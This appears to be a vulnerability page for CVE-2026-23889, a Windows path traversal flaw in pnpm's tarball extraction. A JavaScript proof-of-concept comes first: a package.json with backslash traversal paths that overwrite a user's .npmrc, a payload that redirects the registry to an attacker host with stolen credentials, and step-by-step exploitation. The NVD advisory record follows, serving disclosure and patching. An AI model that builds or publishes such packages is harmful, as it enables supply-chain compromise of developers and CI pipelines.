CVE-2026-23889

// CVE-2026-23889 PoC - Malicious package with path traversal // This PoC demonstrates how a malicious pnpm package can write files outside the package directory on Windows // Step 1: Create a malicious package.json with path traversal in files field const maliciousPackage = { name: "malicious-pnpm-poc", version: "1.0.0", description: "PoC for CVE-2026-23889 path traversal", files: [ ".\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\test\\.npmrc" ] }; // Step 2: The malicious file content that will be written // When pnpm extracts this package, it will write to the path traversal target const maliciousNpmrc = ` registry=https://malicious-registry.com _auth=ATTACKER_CREDENTIALS `; // Step 3: Exploitation scenario // 1. Attacker creates a package with malicious paths in package.json files array // 2. Attacker publishes package to npm registry // 3. Victim runs 'pnpm install malicious-pnpm-poc' on Windows // 4. pnpm extracts package and writes malicious .npmrc to user's home directory // 5. Subsequent npm/pnpm operations use the malicious registry // Alternative: Direct tarball manipulation // Create a tarball with paths like: ".\\..\\..\\etc\\malicious" // When extracted by pnpm on Windows, files are written outside the package directory

{"cve": {"id": "CVE-2026-23889", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:56.213", "lastModified": "2026-01-28T17:33:40.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch."}, {"lang": "es", "value": "pnpm es un gestor de paquetes. Antes de la versión 10.28.1, una vulnerabilidad de salto de ruta en la extracción de tarball de pnpm permite a paquetes maliciosos escribir archivos fuera del directorio del paquete en Windows. La normalización de rutas solo verifica `./` pero no `.\\`. En Windows, las barras invertidas son separadores de directorio, lo que permite el salto de ruta. Esta vulnerabilidad es solo para Windows. Este problema afecta a usuarios de pnpm en Windows y a las pipelines de CI/CD en Windows (ejecutores de GitHub Actions en Windows, Azure DevOps). Puede llevar a la sobrescritura de .npmrc, configuraciones de compilación u otros archivos. La versión 10.28.1 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.28.1", "matchCriteriaId": "5AFF60E6-D1CC-46A7-9122-988E9B68D1B9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}